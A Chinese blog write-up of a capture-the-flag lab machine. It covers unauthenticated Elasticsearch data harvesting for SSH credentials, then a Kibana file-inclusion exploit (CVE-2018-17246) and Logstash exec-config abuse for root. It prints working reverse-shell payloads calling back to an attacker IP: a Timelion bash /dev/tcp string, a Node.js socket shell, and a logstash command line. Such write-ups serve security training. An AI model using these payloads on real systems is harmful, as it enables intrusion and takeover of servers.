公众号关注的人少,看的人也少… 没啥分享的动力了。
加上近期要备考OSCP和软考,应该不会这么频繁逐一将解题过程整理成文章发公众号了。主要是麻烦~
还是立一个Flag吧,哪位同学是第500个关注我的,我就送一个t00ls邀请码…
概述 (Overview)
时间: 2021-07-16
HOST:10.10.10.115
机器作者: JoyDragon
困难程度: easy
描述: 考察信息挖掘的能力,以及对ELK风险利用
Flags:User: <md5>
, Root: <md5>
MACHINE TAGS:
- Web
- JSON
- LFI
- API Fuzzing
攻击链 (Kiillchain)
通过 nmap 对目标服务器进行开发端口扫描,识别两个端口运行着http服务。在首页的图片内容中提取到隐写内容,测试发现9200端口上运行的 ElasticSearch 存在未授权访问,并结合图片获取的关键字"clave",筛选出含 base64 的信息,使用解出的信息成功登录目标服务器取得立足点。
通过查看端口暴露信息发现存在一个本地监听5601端口,识别出事Kibana服务的Web管理页面,使用ssh进行本地端口转发。测试后发现存在 CVE-2018-17246 漏洞,利用该漏洞成功实现账号的横向移动。
利用 linpeas 对目标服务器进行深度信息收集,发现 logstash 已root身份运行。查看相关配置文件发现存在命令执行,构造exploit后成功获得root会话。
枚举(Enumeration)
老规矩,开局还是使用 nmap 对目标系统进行开放端口扫描:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: 502 Bad Gateway
结果中发现 80、9200 端口上均运行HTTP服务,使用浏览器查看页面只显示了一张图片:
将图片下载下来,strings
命令获取下图片中的字符串,发现存在一段 base64
内容:
echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"
翻译后发现是西班牙语,没太看懂作者想表达的意思。查看 9200
端口上的服务,从显示的JSON信息中可以得知这是 ElasticSearch
:
立足点(Foothold)
ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。
通过了解,有如下接口可以进行利用用于回去存储数据:
http://localhost:9200/_cat/indices?v 查看索引信息,v参数将会显示详情 http://localhost:9200/_plugin/head/ web管理界面 http://localhost:9200/_river/_search 查看数据库敏感信息 http://localhost:9200/_nodes 查看节点数据
查看目标服务器上的 /_cat/indices?v
会发现存在三个索引,通过 docs.count(索引下的文档总数)
判断均是有存储了数据:
通过 /<索引名>/_search
分别查看 bank
、quotes
的数据,配合查询JSON数据进行POST请求:
POST /bank/_search
{"query": {"match_all": {}}}
查看返回结果,我们可以查看到 bank 的索引里 1000 条数据,quotes 里的 253 条数据:
获取的数据较多,且都是一些保护邮件及地址的数据,一条条看显然不现实所以要进行赛选。最终是通过上面图片里解出来的 clave
,检索出我们需要的信息:
$ cat all.json|http POST http://10.10.10.115:9200/quotes/_search?size=300 | jq | grep -i clave
"quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
"quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
$ echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key
$ echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security
得到一组账号密码,使用 crackmapexec
测试该账号能ssh登录目标服务器:
成功或到 user flag
横向移动(Lateral Movement)
通过 ss
查看端口开放情况,发现本地监听着一个 5601 的端口。
通过搜索了解到,5601 端口一般是 Kibana 的默认Web 端口。而 Kibana 又是 ELK (Elasticsearch, Logstash, Kibana) 架构中的一环。
知道是运行着一个Web服务,那么我们可以通过ssh的端口转发,将本地端口转发到其他端口。利用已经获取到了ssh登录账号密码进行本地端口转发:$ ssh security@10.10.10.115 -L 5602:localhost:5601
,或者上传其他工具实现转发也是可以的。
上面的是本地转发方式,如果是远程转发的场景则是将命令返过来写。
-L 本地网卡地址:本地端口:目标地址:目标端口。通过本地端口转发,将远程访问的5602的请求,转发到本地监听的5601端口。完整一点可以设置
-NLf
参数,其中 N 表示不为这个连接分配 TTY,N 表示不打开远程 Shell,如果想要后台运行,可以加 -f 参数。
浏览器中浏览 127.0.0.1:5602
,成功查看到运行的 Kibana Web管理端。在 management
页面中,通过显示的内容确认版本 Version: 6.4.2
,随后搜索到 CVE-2019-7609
漏洞,并验证。
https://github.com/mpgn/CVE-2019-7609
5.6.15 和 6.6.1 之前的 Kibana 版本在 Timelion 可视化器中包含任意代码执行缺陷。有权访问 Timelion 应用程序的攻击者可以发送尝试执行 javascript 代码的请求。这可能会导致攻击者在主机系统上使用 Kibana 进程的权限执行任意命令。
演示视频:https://research.securitum.com/wp-content/uploads/sites/2/2019/10/ScreenFlow.mp4
构造命令执行exploit:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.16.15/990 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
尝试后发现好像没有实例中出现的 Canvas
插件,这样就缺少了触发反弹shell的前缀。
随后又找到了可能存在 Kibana Local File Inclusion (CVE-2018-17246)
缺陷:https://github.com/mpgn/CVE-2018-17246
,影响版本: Kibana LFI < 6.4.3 & 5.6.13
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(9900, "10.10.16.15", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
成功利用本地文件包含实现了shell的横移:
权限提升(Privilege Escalation)
使用 linpeas 对目标服务进行深度信息挖掘时,发现 logstash
当前是已 root 身份运行的:
搜索一下 logstash
命令的绝对路径:
通过搜索了解到 /etc/logstash/conf.d/
目录存储的是 logstash
的配置文件:
bash-4.2$ ls /etc/logstash/conf.d/
filter.conf input.conf output.conf
bash-4.2$ cat /etc/logstash/conf.d/filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
bash-4.2$ cat /etc/logstash/conf.d/input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
bash-4.2$ cat /etc/logstash/conf.d/output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
logstash配置文件包含三个配置部分,输入(input),过滤(filter),输出(output)相关规则,对数据收集转发。
所以简单学习了下配置文件的编写: https://blog.csdn.net/len9596/article/details/82887904
结合目标服务器上的配置文件内容,串起来的意思是每隔10秒查找 /opt/kibana/logstash_*
的文件,并声明它的类型是execute
,然后 filter 对类型是 execute
的数据进行处理,取符合正则表达式的内容,最后 output 通过 exec
执行取到到的正则内容。
尝试写一个 logstash_0x584a
文件,内容为:Ejecutar comando: bash -c "/bin/bash -i >& /dev/tcp/10.10.16.15/9900 0>&1"
,kali上开启监听等待反弹shell:
成功获取 root flag
复盘
- 在 IPPSEC 那有学到一个技巧,当目标服务器中
netstat
和ss
命令都没有的场景下,查看端口开放使用cat /proc/net/tcp | grep '00000000:0000 0A'
,显示的列表为 IP/port 的 hex 内容。
- 在 /bin/bash 下,多按几次回车让后键盘按下
~C
将进入ssh>
模式,可以输入端口转发命令,如:ssh> -L 5601:localhost:5601
。
参考
- https://blog.csdn.net/len9596/article/details/82887904
- https://blog.csdn.net/weixin_38011805/article/details/114371567?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.control
- https://www.cnblogs.com/duanxz/p/6527439.html